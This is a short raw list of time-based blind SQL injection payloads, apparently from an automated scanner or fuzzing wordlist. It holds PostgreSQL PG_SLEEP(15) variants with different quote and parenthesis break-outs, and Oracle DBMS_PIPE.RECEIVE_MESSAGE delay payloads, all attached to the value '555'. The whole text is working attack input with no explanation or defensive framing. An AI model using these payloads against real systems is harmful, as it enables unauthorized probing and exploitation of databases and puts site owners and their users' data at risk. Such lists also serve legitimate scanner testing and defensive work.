555-1 OR 976=(SELECT 976 FROM PG_SLEEP(15))--

555-1) OR 902=(SELECT 902 FROM PG_SLEEP(15))--

555-1)) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

555bYIqjGLt' OR 785=(SELECT 785 FROM PG_SLEEP(15))--

555xX9a0a0L') OR 284=(SELECT 284 FROM PG_SLEEP(15))--

555k0WJD9no')) OR 354=(SELECT 354 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555